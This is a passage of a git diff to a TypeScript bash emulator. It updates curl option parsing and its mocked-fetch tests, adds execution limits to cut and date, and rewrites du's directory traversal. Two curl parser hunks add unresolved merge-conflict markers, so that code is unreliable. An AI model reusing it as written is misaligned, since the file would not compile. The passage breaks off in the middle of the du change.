+          exitCode: 2,
+        };
+      }
+      const parsed = Number(value);
+      if (!Number.isSafeInteger(parsed)) {
+        return {
+          stdout: "",
+          stderr: `curl: option --max-redirs: value is out of range\n`,
+          exitCode: 2,
+        };
+      }
+      options.maxRedirects = parsed;
     } else if (arg.startsWith("--max-redirs=")) {
-      // Handled by the network config
+      const value = arg.slice(13);
+      if (!/^\d+$/.test(value) || !Number.isSafeInteger(Number(value))) {
+        return {
+          stdout: "",
+          stderr: `curl: option --max-redirs: expected a non-negative integer\n`,
+          exitCode: 2,
+        };
+      }
+      options.maxRedirects = Number(value);
     } else if (arg === "-w" || arg === "--write-out") {
       options.writeOut = args[++i];
     } else if (arg.startsWith("--write-out=")) {
@@ -287,6 +319,7 @@ export function parseOptions(args: string[]): CurlOptions | ExecResult {
           case "I":
             options.headOnly = true;
             options.method = "HEAD";
+            explicitMethod = true;
             break;
           case "i":
             options.includeHeaders = true;
@@ -299,7 +332,11 @@ export function parseOptions(args: string[]): CurlOptions | ExecResult {
             break;
           case "G":
             options.getMode = true;
+<<<<<<< HEAD
             options.method = "GET";
+=======
+            if (!explicitMethod) options.method = "GET";
+>>>>>>> @just-bash/executor@3.0.0
             break;
           default:
             return unknownOption("curl", `-${c}`);
@@ -312,7 +349,11 @@ export function parseOptions(args: string[]): CurlOptions | ExecResult {
 
   // Data/form options imply POST when no explicit method was set. `-G`/`--get`
   // keeps the request a GET and sends the payload as a query string instead.
+<<<<<<< HEAD
   if (impliesPost && options.method === "GET" && !options.getMode) {
+=======
+  if (impliesPost && !explicitMethod && !options.getMode) {
+>>>>>>> @just-bash/executor@3.0.0
     options.method = "POST";
   }
 
diff --git a/packages/just-bash/src/commands/curl/tests/data-at-file.test.ts b/packages/just-bash/src/commands/curl/tests/data-at-file.test.ts
index db7b05e9..46ec0e98 100644
--- a/packages/just-bash/src/commands/curl/tests/data-at-file.test.ts
+++ b/packages/just-bash/src/commands/curl/tests/data-at-file.test.ts
@@ -164,7 +164,7 @@ describe("curl @file interpretation", () => {
         "curl --data-urlencode @/note.txt https://api.example.com/test",
       );
       expect(result.exitCode).toBe(0);
-      expect(lastRequest?.options.body).toBe("hello%20world%20%26%20friends");
+      expect(lastRequest?.options.body).toBe("hello+world+%26+friends");
     });
 
     it("URL-encodes the file contents with name when value is name@file", async () => {
@@ -173,7 +173,7 @@ describe("curl @file interpretation", () => {
         "curl --data-urlencode note@/note.txt https://api.example.com/test",
       );
       expect(result.exitCode).toBe(0);
-      expect(lastRequest?.options.body).toBe("note=value%20with%20space");
+      expect(lastRequest?.options.body).toBe("note=value+with+space");
     });
 
     it("concatenates inline and @file urlencode values with &", async () => {
@@ -182,20 +182,20 @@ describe("curl @file interpretation", () => {
         'curl --data-urlencode "a=1" --data-urlencode note@/note.txt https://api.example.com/test',
       );
       expect(result.exitCode).toBe(0);
-      expect(lastRequest?.options.body).toBe("a=1&note=from%20file");
+      expect(lastRequest?.options.body).toBe("a=1&note=from+file");
     });
 
     it("percent-encodes `=` inside file contents (no name=value split)", async () => {
       // Real file contents may contain `=` bytes that must NOT be treated as
       // a name/value separator. encodeFormData would split on `=` and emit
       // `a=b%26c`; the @file form must treat the whole body as one value:
-      // every `=` percent-encodes to %3D.
+      // every `=` percent-encodes to %3d.
       const env = createEnv({ "/note.txt": "a=b&c" });
       const result = await env.exec(
         "curl --data-urlencode @/note.txt https://api.example.com/test",
       );
       expect(result.exitCode).toBe(0);
-      expect(lastRequest?.options.body).toBe("a%3Db%26c");
+      expect(lastRequest?.options.body).toBe("a%3db%26c");
     });
 
     it("percent-encodes `=` inside file contents for the name@file form", async () => {
@@ -204,7 +204,7 @@ describe("curl @file interpretation", () => {
         "curl --data-urlencode payload@/note.txt https://api.example.com/test",
       );
       expect(result.exitCode).toBe(0);
-      expect(lastRequest?.options.body).toBe("payload=k%3Dv");
+      expect(lastRequest?.options.body).toBe("payload=k%3dv");
     });
 
     it("supports --data-urlencode=@file form", async () => {
@@ -213,7 +213,7 @@ describe("curl @file interpretation", () => {
         "curl --data-urlencode=@/note.txt https://api.example.com/test",
       );
       expect(result.exitCode).toBe(0);
-      expect(lastRequest?.options.body).toBe("hi%20there");
+      expect(lastRequest?.options.body).toBe("hi+there");
     });
   });
 
diff --git a/packages/just-bash/src/commands/curl/tests/data-options.test.ts b/packages/just-bash/src/commands/curl/tests/data-options.test.ts
new file mode 100644
index 00000000..91b2af61
--- /dev/null
+++ b/packages/just-bash/src/commands/curl/tests/data-options.test.ts
@@ -0,0 +1,151 @@
+/**
+ * Tests for curl data aggregation and -G/--get behavior.
+ */
+
+import {
+  afterAll,
+  beforeAll,
+  beforeEach,
+  describe,
+  expect,
+  it,
+  vi,
+} from "vitest";
+import { Bash } from "../../../Bash.js";
+
+const originalFetch = global.fetch;
+let lastRequest: { url: string; options: RequestInit } | null = null;
+
+const mockFetch = vi.fn(async (url: string, options?: RequestInit) => {
+  lastRequest = { url, options: options ?? {} };
+  return new Response("ok", { status: 200 });
+});
+
+beforeAll(() => {
+  global.fetch = mockFetch as typeof fetch;
+});
+
+afterAll(() => {
+  global.fetch = originalFetch;
+});
+
+function createEnv(files?: Record<string, string>): Bash {
+  return new Bash({
+    files,
+    network: {
+      allowedUrlPrefixes: ["https://api.example.com"],
+      allowedMethods: ["GET", "POST"],
+    },
+  });
+}
+
+describe("curl data options", () => {
+  beforeEach(() => {
+    mockFetch.mockClear();
+    lastRequest = null;
+  });
+
+  it("appends repeated data flags in command-line order", async () => {
+    const env = createEnv();
+    const result = await env.exec(
+      "curl -d 'a=1' --data 'b=2' --data-raw 'c=3' https://api.example.com/post",
+    );
+
+    const headers = new Headers(lastRequest?.options.headers as HeadersInit);
+    expect(result.exitCode).toBe(0);
+    expect(lastRequest).toEqual({
+      url: "https://api.example.com/post",
+      options: expect.objectContaining({
+        method: "POST",
+        body: "a=1&b=2&c=3",
+      }),
+    });
+    expect(headers.get("Content-Type")).toBe(
+      "application/x-www-form-urlencoded",
+    );
+  });
+
+  it("preserves a user-supplied content type", async () => {
+    const env = createEnv();
+    const result = await env.exec(
+      "curl -H 'Content-Type: text/plain' -d 'hello' https://api.example.com/post",
+    );
+
+    const headers = new Headers(lastRequest?.options.headers as HeadersInit);
+    expect(result.exitCode).toBe(0);
+    expect(headers.get("Content-Type")).toBe("text/plain");
+  });
+
+  it("moves ordered data to the URL in -G mode", async () => {
+    const env = createEnv();
+    const result = await env.exec(
+      "curl -G 'https://api.example.com/query?fixed=1#section' -d 'a=1' --data-urlencode 'b=hello world*' -d 'c=3'",
+    );
+
+    expect(result.exitCode).toBe(0);
+    expect(lastRequest).toEqual({
+      url: "https://api.example.com/query?fixed=1&a=1&b=hello+world%2a&c=3#section",
+      options: expect.objectContaining({
+        method: "GET",
+      }),
+    });
+    expect(lastRequest?.options.body).toBeUndefined();
+  });
+
+  it("supports every inline --data-urlencode form", async () => {
+    const env = createEnv();
+
+    await env.exec(
+      "curl -G https://api.example.com/ --data-urlencode 'name=a b'",
+    );
+    expect(lastRequest?.url).toBe("https://api.example.com/?name=a+b");
+
+    await env.exec("curl -G https://api.example.com/ --data-urlencode '=a b'");
+    expect(lastRequest?.url).toBe("https://api.example.com/?a+b");
+
+    await env.exec("curl -G https://api.example.com/ --data-urlencode 'a b'");
+    expect(lastRequest?.url).toBe("https://api.example.com/?a+b");
+  });
+
+  it("does not duplicate an existing empty query delimiter", async () => {
+    const env = createEnv();
+
+    await env.exec("curl -G 'https://api.example.com/?' -d 'q=1'");
+    expect(lastRequest?.url).toBe("https://api.example.com/?q=1");
+
+    await env.exec("curl -G 'https://api.example.com/?fixed=1&' -d 'q=1'");
+    expect(lastRequest?.url).toBe("https://api.example.com/?fixed=1&q=1");
+  });
+
+  it("keeps an explicit request method regardless of -G ordering", async () => {
+    const env = createEnv();
+
+    await env.exec(
+      "curl -X POST -G https://api.example.com/ --data-urlencode 'q=1'",
+    );
+    expect(lastRequest).toEqual({
+      url: "https://api.example.com/?q=1",
+      options: expect.objectContaining({ method: "POST" }),
+    });
+    expect(lastRequest?.options.body).toBeUndefined();
+
+    await env.exec(
+      "curl -G -X POST https://api.example.com/ --data-urlencode 'q=1'",
+    );
+    expect(lastRequest).toEqual({
+      url: "https://api.example.com/?q=1",
+      options: expect.objectContaining({ method: "POST" }),
+    });
+    expect(lastRequest?.options.body).toBeUndefined();
+  });
+
+  it("preserves order when inline and file-backed parts are mixed", async () => {
+    const env = createEnv({ "/payload.txt": "a=1\n" });
+    const result = await env.exec(
+      "curl -d @/payload.txt --data-urlencode 'q=a b*' --data-raw 'c=3' https://api.example.com/post",
+    );
+
+    expect(result.exitCode).toBe(0);
+    expect(lastRequest?.options.body).toBe("a=1&q=a+b%2a&c=3");
+  });
+});
diff --git a/packages/just-bash/src/commands/curl/tests/form.test.ts b/packages/just-bash/src/commands/curl/tests/form.test.ts
index b204a922..a731ac50 100644
--- a/packages/just-bash/src/commands/curl/tests/form.test.ts
+++ b/packages/just-bash/src/commands/curl/tests/form.test.ts
@@ -50,7 +50,7 @@ describe("curl form data", () => {
         "curl --data-urlencode 'message=hello world' https://api.example.com/post",
       );
 
-      expect(lastRequest?.options.body).toBe("message=hello%20world");
+      expect(lastRequest?.options.body).toBe("message=hello+world");
     });
 
     it("encodes special characters", async () => {
@@ -64,7 +64,7 @@ describe("curl form data", () => {
         "curl --data-urlencode 'data=a&b=c' https://api.example.com/post",
       );
 
-      expect(lastRequest?.options.body).toBe("data=a%26b%3Dc");
+      expect(lastRequest?.options.body).toBe("data=a%26b%3dc");
     });
 
     it("appends multiple --data-urlencode values", async () => {
diff --git a/packages/just-bash/src/commands/curl/tests/parse.test.ts b/packages/just-bash/src/commands/curl/tests/parse.test.ts
index 801a5ced..23853043 100644
--- a/packages/just-bash/src/commands/curl/tests/parse.test.ts
+++ b/packages/just-bash/src/commands/curl/tests/parse.test.ts
@@ -145,7 +145,7 @@ describe("curl option parsing", () => {
         'curl -s --data-urlencode "name=John Doe" https://api.example.com/test',
       );
       expect(result.exitCode).toBe(0);
-      expect(lastRequest?.options.body).toContain("John%20Doe");
+      expect(lastRequest?.options.body).toContain("John+Doe");
     });
 
     it("should handle --data-urlencode=value form", async () => {
@@ -154,7 +154,7 @@ describe("curl option parsing", () => {
         'curl -s --data-urlencode="foo=bar baz" https://api.example.com/test',
       );
       expect(result.exitCode).toBe(0);
-      expect(lastRequest?.options.body).toContain("bar%20baz");
+      expect(lastRequest?.options.body).toContain("bar+baz");
     });
 
     it("should append multiple --data-urlencode values", async () => {
diff --git a/packages/just-bash/src/commands/curl/tests/timeout.test.ts b/packages/just-bash/src/commands/curl/tests/timeout.test.ts
index 48e1ded2..cb98ce2e 100644
--- a/packages/just-bash/src/commands/curl/tests/timeout.test.ts
+++ b/packages/just-bash/src/commands/curl/tests/timeout.test.ts
@@ -126,5 +126,41 @@ describe("curl timeouts", () => {
       // Restore mock
       global.fetch = mockFetch as typeof fetch;
     });
+
+    it("propagates timeout cancellation into the live request", async () => {
+      let requestAborted = false;
+      let laterEffect = false;
+      global.fetch = vi.fn(
+        async (_url: string, options?: RequestInit): Promise<Response> =>
+          await new Promise((resolve, reject) => {
+            const id = setTimeout(() => {
+              laterEffect = true;
+              resolve(new Response("late"));
+            }, 50);
+            options?.signal?.addEventListener(
+              "abort",
+              () => {
+                requestAborted = true;
+                clearTimeout(id);
+                reject(options.signal?.reason);
+              },
+              { once: true },
+            );
+          }),
+      ) as typeof fetch;
+
+      const env = new Bash({
+        network: { allowedUrlPrefixes: ["https://api.example.com"] },
+      });
+      const result = await env.exec(
+        "timeout 0.01 curl https://api.example.com/slow",
+      );
+      await new Promise((resolve) => setTimeout(resolve, 60));
+
+      expect(result).toMatchObject({ exitCode: 124, stdout: "", stderr: "" });
+      expect(requestAborted).toBe(true);
+      expect(laterEffect).toBe(false);
+      global.fetch = mockFetch as typeof fetch;
+    });
   });
 });
diff --git a/packages/just-bash/src/commands/curl/types.ts b/packages/just-bash/src/commands/curl/types.ts
index ea1ed9df..d94a66c2 100644
--- a/packages/just-bash/src/commands/curl/types.ts
+++ b/packages/just-bash/src/commands/curl/types.ts
@@ -64,5 +64,6 @@ export interface CurlOptions {
   writeOut?: string;
   verbose: boolean;
   timeoutMs?: number;
+  maxRedirects?: number;
   url?: string;
 }
diff --git a/packages/just-bash/src/commands/cut/cut.test.ts b/packages/just-bash/src/commands/cut/cut.test.ts
index 23b4fb15..29d8a0b1 100644
--- a/packages/just-bash/src/commands/cut/cut.test.ts
+++ b/packages/just-bash/src/commands/cut/cut.test.ts
@@ -30,6 +30,12 @@ describe("cut command", () => {
     expect(result.exitCode).toBe(0);
   });
 
+  it("selects duplicate-valued fields by source position", async () => {
+    const env = new Bash({ files: { "/duplicates": "same:same:last\n" } });
+    const result = await env.exec("cut -d: -f1,2 /duplicates");
+    expect(result.stdout).toBe("same:same\n");
+  });
+
   it("should cut range of fields", async () => {
     const env = createEnv();
     const result = await env.exec("cut -d: -f1-3 /test/passwd.txt");
diff --git a/packages/just-bash/src/commands/cut/cut.ts b/packages/just-bash/src/commands/cut/cut.ts
index 44c4b950..72ede4ca 100644
--- a/packages/just-bash/src/commands/cut/cut.ts
+++ b/packages/just-bash/src/commands/cut/cut.ts
@@ -1,5 +1,11 @@
+import { BoundedStringBuilder } from "../../bounded-builder.js";
 import { decodeBytesToUtf8, latin1FromBytes } from "../../encoding.js";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import { ExecutionLimitError } from "../../interpreter/errors.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { readAndConcat } from "../../utils/file-reader.js";
 import { hasHelpFlag, showHelp, unknownOption } from "../help.js";
 
@@ -21,19 +27,36 @@ interface CutRange {
   end: number | null; // null means to end of line
 }
 
-function parseRange(spec: string): CutRange[] {
+function parseRange(spec: string, maximum: number): CutRange[] {
   const ranges: CutRange[] = [];
   const parts = spec.split(",");
 
+  if (parts.length > maximum) {
+    throw new ExecutionLimitError(
+      `cut: range count limit exceeded (${maximum})`,
+      "array_elements",
+    );
+  }
+
   for (const part of parts) {
     if (part.includes("-")) {
       const [start, end] = part.split("-");
-      ranges.push({
-        start: start ? parseInt(start, 10) : 1,
-        end: end ? parseInt(end, 10) : null,
-      });
+      const parsedStart = start ? Number(start) : 1;
+      const parsedEnd = end ? Number(end) : null;
+      if (
+        !Number.isSafeInteger(parsedStart) ||
+        parsedStart < 1 ||
+        (parsedEnd !== null &&
+          (!Number.isSafeInteger(parsedEnd) || parsedEnd < parsedStart))
+      ) {
+        throw new ExecutionLimitError("cut: invalid range", "array_elements");
+      }
+      ranges.push({ start: parsedStart, end: parsedEnd });
     } else {
-      const num = parseInt(part, 10);
+      const num = Number(part);
+      if (!Number.isSafeInteger(num) || num < 1) {
+        throw new ExecutionLimitError("cut: invalid range", "array_elements");
+      }
       ranges.push({ start: num, end: num });
     }
   }
@@ -43,13 +66,15 @@ function parseRange(spec: string): CutRange[] {
 
 function extractByRanges(items: string[], ranges: CutRange[]): string[] {
   const result: string[] = [];
+  const selectedIndices = new Set<number>();
 
   for (const range of ranges) {
     const start = range.start - 1; // Convert to 0-indexed
     const end = range.end === null ? items.length : range.end;
 
     for (let i = start; i < end && i < items.length; i++) {
-      if (i >= 0 && !result.includes(items[i])) {
+      if (i >= 0 && !selectedIndices.has(i)) {
+        selectedIndices.add(i);
         result.push(items[i]);
       }
     }
@@ -58,9 +83,12 @@ function extractByRanges(items: string[], ranges: CutRange[]): string[] {
   return result;
 }
 
-export const cutCommand: Command = {
+export const cutCommand: RuntimeCommand = {
   name: "cut",
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     if (hasHelpFlag(args)) {
       return showHelp(cutHelp);
     }
@@ -133,8 +161,29 @@ export const cutCommand: Command = {
       lines.pop();
     }
 
-    const ranges = parseRange(fieldSpec || charSpec || "1");
-    let output = "";
+    const ranges = parseRange(
+      fieldSpec || charSpec || "1",
+      ctx.limits.maxArrayElements,
+    );
+    const output = new BoundedStringBuilder(
+      Math.min(ctx.limits.maxOutputSize, ctx.limits.maxStringLength),
+      "cut",
+    );
+    let rangeWork = 0;
+    const chargeRangeWork = (count: number): void => {
+      if (
+        !Number.isSafeInteger(count) ||
+        count < 0 ||
+        count > ctx.limits.maxLoopIterations - rangeWork
+      ) {
+        throw new ExecutionLimitError(
+          `cut: range expansion limit exceeded (${ctx.limits.maxLoopIterations})`,
+          "iterations",
+        );
+      }
+      rangeWork += count;
+      ctx.executionScope?.consumeWork(count, "cut range expansion");
+    };
 
     for (const line of lines) {
       if (charSpec) {
@@ -146,13 +195,14 @@ export const cutCommand: Command = {
         for (const range of ranges) {
           const start = range.start - 1;
           const end = range.end === null ? chars.length : range.end;
+          chargeRangeWork(Math.max(0, Math.min(end, chars.length) - start));
           for (let i = start; i < end && i < chars.length; i++) {
             if (i >= 0) {
               selected.push(chars[i]);
             }
           }
         }
-        output += `${selected.join("")}\n`;
+        output.append(`${selected.join("")}\n`);
       } else {
         // Field mode
         // If -s is set, skip lines that don't contain the delimiter
@@ -160,21 +210,26 @@ export const cutCommand: Command = {
           continue;
         }
         const fields = line.split(delimiter);
+        for (const range of ranges) {
+          const start = range.start - 1;
+          const end = range.end === null ? fields.length : range.end;
+          chargeRangeWork(Math.max(0, Math.min(end, fields.length) - start));
+        }
         const selected = extractByRanges(fields, ranges);
-        output += `${selected.join(delimiter)}\n`;
+        output.append(`${selected.join(delimiter)}\n`);
       }
     }
 
     // Char mode produces decoded text; field mode forwards bytes verbatim.
     if (charSpec) {
       return {
-        stdout: output,
+        stdout: output.build(),
         stderr: "",
         exitCode: 0,
       };
     }
     return {
-      stdout: output,
+      stdout: output.build(),
       stderr: "",
       exitCode: 0,
       stdoutKind: "bytes",
diff --git a/packages/just-bash/src/commands/date/date.test.ts b/packages/just-bash/src/commands/date/date.test.ts
index 402903ed..8ccce6ef 100644
--- a/packages/just-bash/src/commands/date/date.test.ts
+++ b/packages/just-bash/src/commands/date/date.test.ts
@@ -315,6 +315,15 @@ describe("date", () => {
       expect(result.exitCode).toBe(1);
     });
 
+    it("rejects timestamps outside the exact and supported Date range", async () => {
+      const env = new Bash();
+      for (const timestamp of ["9007199254740992", "8640000000001"]) {
+        const result = await env.exec(`date -d '@${timestamp}' +%s`);
+        expect(result.stderr).toContain("invalid date");
+        expect(result.exitCode).toBe(1);
+      }
+    });
+
     it("should treat bare numeric -d as a year, not epoch seconds (GNU compat)", async () => {
       // Pre-PR behaviour: -d '2024' falls through to new Date(s), which JS
       // parses as the year 2024 (YYYY -> 2024-01-01T00:00:00Z). The PR
@@ -547,3 +556,19 @@ describe("date", () => {
     });
   });
 });
+
+describe("date strftime execution limits", () => {
+  it("bounds directive processing with maxLoopIterations", async () => {
+    const env = new Bash({ executionLimits: { maxLoopIterations: 2 } });
+    const result = await env.exec("date +%Y%Y%Y");
+    expect(result.exitCode).toBe(126);
+    expect(result.stderr).toContain("strftime: iteration limit exceeded");
+  });
+
+  it("bounds formatted output before returning it", async () => {
+    const env = new Bash({ executionLimits: { maxOutputSize: 4 } });
+    const result = await env.exec("date +%Y");
+    expect(result.exitCode).toBe(126);
+    expect(result.stderr).toContain("strftime: output size limit exceeded");
+  });
+});
diff --git a/packages/just-bash/src/commands/date/date.ts b/packages/just-bash/src/commands/date/date.ts
index af1bd327..3192bae5 100644
--- a/packages/just-bash/src/commands/date/date.ts
+++ b/packages/just-bash/src/commands/date/date.ts
@@ -2,7 +2,11 @@
  * date - Display the current date and time
  */
 
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { hasHelpFlag, showHelp, unknownOption } from "../help.js";
 import { formatStrftime } from "../printf/strftime.js";
 
@@ -106,7 +110,10 @@ function parseDate(s: string, tz?: string): Date | null {
   if (s.startsWith("@")) {
     const suffix = s.slice(1);
     if (!/^-?\d+$/.test(suffix)) return null;
-    return new Date(Number.parseInt(suffix, 10) * 1000);
+    const seconds = Number(suffix);
+    if (!Number.isSafeInteger(seconds)) return null;
+    const date = new Date(seconds * 1000);
+    return Number.isNaN(date.getTime()) ? null : date;
   }
   const l = s.toLowerCase().trim();
   if (l === "now" || l === "today") return new Date();
@@ -122,9 +129,12 @@ function parseDate(s: string, tz?: string): Date | null {
   return null;
 }
 
-export const dateCommand: Command = {
+export const dateCommand: RuntimeCommand = {
   name: "date",
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     if (hasHelpFlag(args)) return showHelp(dateHelp);
 
     let utc = false,
@@ -178,11 +188,33 @@ export const dateCommand: Command = {
     const ts = Math.floor(date.getTime() / 1000);
 
     let out: string;
-    if (fmt) out = formatStrftime(fmt, ts, displayTz);
-    else if (iso) out = formatStrftime("%Y-%m-%dT%H:%M:%S%z", ts, displayTz);
+    const strftimeLimits = {
+      maxOperations: ctx.limits.maxLoopIterations,
+      maxOutputBytes:
+        Math.min(ctx.limits.maxStringLength, ctx.limits.maxOutputSize) - 1,
+    };
+    if (fmt) out = formatStrftime(fmt, ts, displayTz, strftimeLimits);
+    else if (iso)
+      out = formatStrftime(
+        "%Y-%m-%dT%H:%M:%S%z",
+        ts,
+        displayTz,
+        strftimeLimits,
+      );
     else if (rfc)
-      out = formatStrftime("%a, %d %b %Y %H:%M:%S %z", ts, displayTz);
-    else out = formatStrftime("%a %b %e %H:%M:%S %Z %Y", ts, displayTz);
+      out = formatStrftime(
+        "%a, %d %b %Y %H:%M:%S %z",
+        ts,
+        displayTz,
+        strftimeLimits,
+      );
+    else
+      out = formatStrftime(
+        "%a %b %e %H:%M:%S %Z %Y",
+        ts,
+        displayTz,
+        strftimeLimits,
+      );
 
     return { stdout: `${out}\n`, stderr: "", exitCode: 0 };
   },
diff --git a/packages/just-bash/src/commands/diff/diff.ts b/packages/just-bash/src/commands/diff/diff.ts
index 05c6c7dc..3200efe4 100644
--- a/packages/just-bash/src/commands/diff/diff.ts
+++ b/packages/just-bash/src/commands/diff/diff.ts
@@ -4,7 +4,11 @@
 
 import * as Diff from "diff";
 import { decodeBytesToUtf8 } from "../../encoding.js";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { parseArgs } from "../../utils/args.js";
 import { hasHelpFlag, showHelp } from "../help.js";
 
@@ -32,10 +36,13 @@ const argDefs = {
   ignoreCase: { short: "i", long: "ignore-case", type: "boolean" as const },
 };
 
-export const diffCommand: Command = {
+export const diffCommand: RuntimeCommand = {
   name: "diff",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     if (hasHelpFlag(args)) return showHelp(diffHelp);
 
     const parsed = parseArgs("diff", args, argDefs);
diff --git a/packages/just-bash/src/commands/dirname/dirname.ts b/packages/just-bash/src/commands/dirname/dirname.ts
index 656a9ffa..82b4ea58 100644
--- a/packages/just-bash/src/commands/dirname/dirname.ts
+++ b/packages/just-bash/src/commands/dirname/dirname.ts
@@ -1,4 +1,8 @@
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { hasHelpFlag, showHelp } from "../help.js";
 
 const dirnameHelp = {
@@ -8,10 +12,13 @@ const dirnameHelp = {
   options: ["    --help       display this help and exit"],
 };
 
-export const dirnameCommand: Command = {
+export const dirnameCommand: RuntimeCommand = {
   name: "dirname",
 
-  async execute(args: string[], _ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    _ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     if (hasHelpFlag(args)) {
       return showHelp(dirnameHelp);
     }
diff --git a/packages/just-bash/src/commands/du/du.ts b/packages/just-bash/src/commands/du/du.ts
index 19fa0b39..70bd38b8 100644
--- a/packages/just-bash/src/commands/du/du.ts
+++ b/packages/just-bash/src/commands/du/du.ts
@@ -1,6 +1,14 @@
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import { traverseFileTree } from "../../fs/traversal.js";
+import {
+  ExecutionAbortedError,
+  ExecutionLimitError,
+} from "../../interpreter/errors.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { parseArgs } from "../../utils/args.js";
-import { DEFAULT_BATCH_SIZE } from "../../utils/constants.js";
 import { hasHelpFlag, showHelp } from "../help.js";
 
 const duHelp = {
@@ -33,10 +41,13 @@ interface DuOptions {
   maxDepth: number | null;
 }
 
-export const duCommand: Command = {
+export const duCommand: RuntimeCommand = {
   name: "du",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     if (hasHelpFlag(args)) {
       return showHelp(duHelp);
     }
@@ -73,7 +84,13 @@ export const duCommand: Command = {
         stdout += result.output;
         grandTotal += result.totalSize;
         stderr += result.stderr;
-      } catch {
+      } catch (error) {
+        if (
+          error instanceof ExecutionLimitError ||
+          error instanceof ExecutionAbortedError
+        ) {
+          throw error;
+        }
         stderr += `du: cannot access '${target}': No such file or directory\n`;
       }
     }
@@ -92,173 +109,71 @@ interface SizeResult {
   stderr: string;
 }
 
-/** Safety limit to prevent stack overflow on deeply nested directories */
-const MAX_DU_DEPTH = 1000;
-
 async function calculateSize(
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
   fullPath: string,
   displayPath: string,
   options: DuOptions,
   depth: number,
 ): Promise<SizeResult> {
-  const result: SizeResult = {
-    output: "",
-    totalSize: 0,
-    stderr: "",
-  };
-
-  if (depth > MAX_DU_DEPTH) return result;
-
-  try {
-    const stat = await ctx.fs.stat(fullPath);
-
-    if (!stat.isDirectory) {
-      // Single file
-      result.totalSize = stat.size;
-      if (options.allFiles || depth === 0) {
-        result.output =
-          formatSize(stat.size, options.humanReadable) +
-          "\t" +
-          displayPath +
-          "\n";
-      }
-      return result;
-    }
-
-    // Directory - use readdirWithFileTypes if available for better performance
-    let dirSize = 0;
-
-    // Get entries with type info if possible
-    interface EntryInfo {
-      name: string;
-      isDirectory: boolean;
-      size?: number;
-    }
-    const entryInfos: EntryInfo[] = [];
-
-    if (ctx.fs.readdirWithFileTypes) {
-      const entriesWithTypes = await ctx.fs.readdirWithFileTypes(fullPath);
-      // For files, we still need stat to get size, but we know directories
-      const fileEntries = entriesWithTypes.filter((e) => e.isFile);
-      const dirEntries = entriesWithTypes.filter((e) => e.isDirectory);
-
-      // Parallel stat for files to get sizes
-      for (let i = 0; i < fileEntries.length; i += DEFAULT_BATCH_SIZE) {
-        const batch = fileEntries.slice(i, i + DEFAULT_BATCH_SIZE);
-        const stats = await Promise.all(
-          batch.map(async (e) => {
-            const entryPath =
-              fullPath === "/" ? `/${e.name}` : `${fullPath}/${e.name}`;
-            try {
-              const s = await ctx.fs.stat(entryPath);
-              return { name: e.name, isDirectory: false, size: s.size };
-            } catch {
-              return { name: e.name, isDirectory: false, size: 0 };
-            }
-          }),
-        );
-        entryInfos.push(...stats);
-      }
-
-      // Add directory entries (size will be calculated recursively)
-      entryInfos.push(
-        ...dirEntries.map((e) => ({ name: e.name, isDirectory: true })),
-      );
-    } else {
-      // Fall back to readdir + parallel stat
-      const entries = await ctx.fs.readdir(fullPath);
-      for (let i = 0; i < entries.length; i += DEFAULT_BATCH_SIZE) {
-        const batch = entries.slice(i, i + DEFAULT_BATCH_SIZE);
-        const stats = await Promise.all(
-          batch.map(async (entry) => {
-            const entryPath =
-              fullPath === "/" ? `/${entry}` : `${fullPath}/${entry}`;
-            try {
-              const s = await ctx.fs.stat(entryPath);
-              return {
-                name: entry,
-                isDirectory: s.isDirectory,
-                size: s.isDirectory ? undefined : s.size,
-              };
-            } catch {
-              return { name: entry, isDirectory: false, size: 0 };
-            }
-          }),
+  const result: SizeResult = { output: "", totalSize: 0, stderr: "" };
+  const directorySizes = new Map<string, number>();
+
+  await traverseFileTree(
+    {
+      fs: ctx.fs,
+      root: fullPath,
+      limits: ctx.limits,
+      signal: ctx.signal,
+      executionScope: ctx.executionScope,
+      site: "du",
+      symlinks: "never",
+      includeLeave: true,
+    },
+    (entry) => {
+      const relative = entry.path.slice(fullPath.length).replace(/^\//, "");
+      const shown = relative
+        ? displayPath === "."
+          ? relative
+          : `${displayPath}/${relative}`
+        : displayPath;
+      const parent =
+        entry.path === "/"
+          ? "/"
+          : entry.path.slice(0, entry.path.lastIndexOf("/")) || "/";
+
+      if (entry.phase === "enter") {
+        if (entry.stat.isDirectory) {
+          directorySizes.set(entry.path, 0);
+          return;
+        }
+        directorySizes.set(
+          parent,
+          (directorySizes.get(parent) ?? 0) + entry.stat.size,
         );
-        entryInfos.push(...stats);
+        if ((options.allFiles || entry.depth === depth) && !options.summarize) {
+          result.output += `${formatSize(entry.stat.size, options.humanReadable)}\t${shown}\n`;
+        }
+        if (entry.depth === depth) result.totalSize = entry.stat.size;
+        return;
       }
-    }
-
-    // Sort entries for consistent output
-    entryInfos.sort((a, b) => a.name.localeCompare(b.name));
 
-    // Process files first (simple size addition)
-    const fileInfos = entryInfos.filter((e) => !e.isDirectory);
-    for (const file of fileInfos) {
-      const size = file.size ?? 0;
-      dirSize += size;
-      if (options.allFiles && !options.summarize) {
-        const entryDisplayPath =
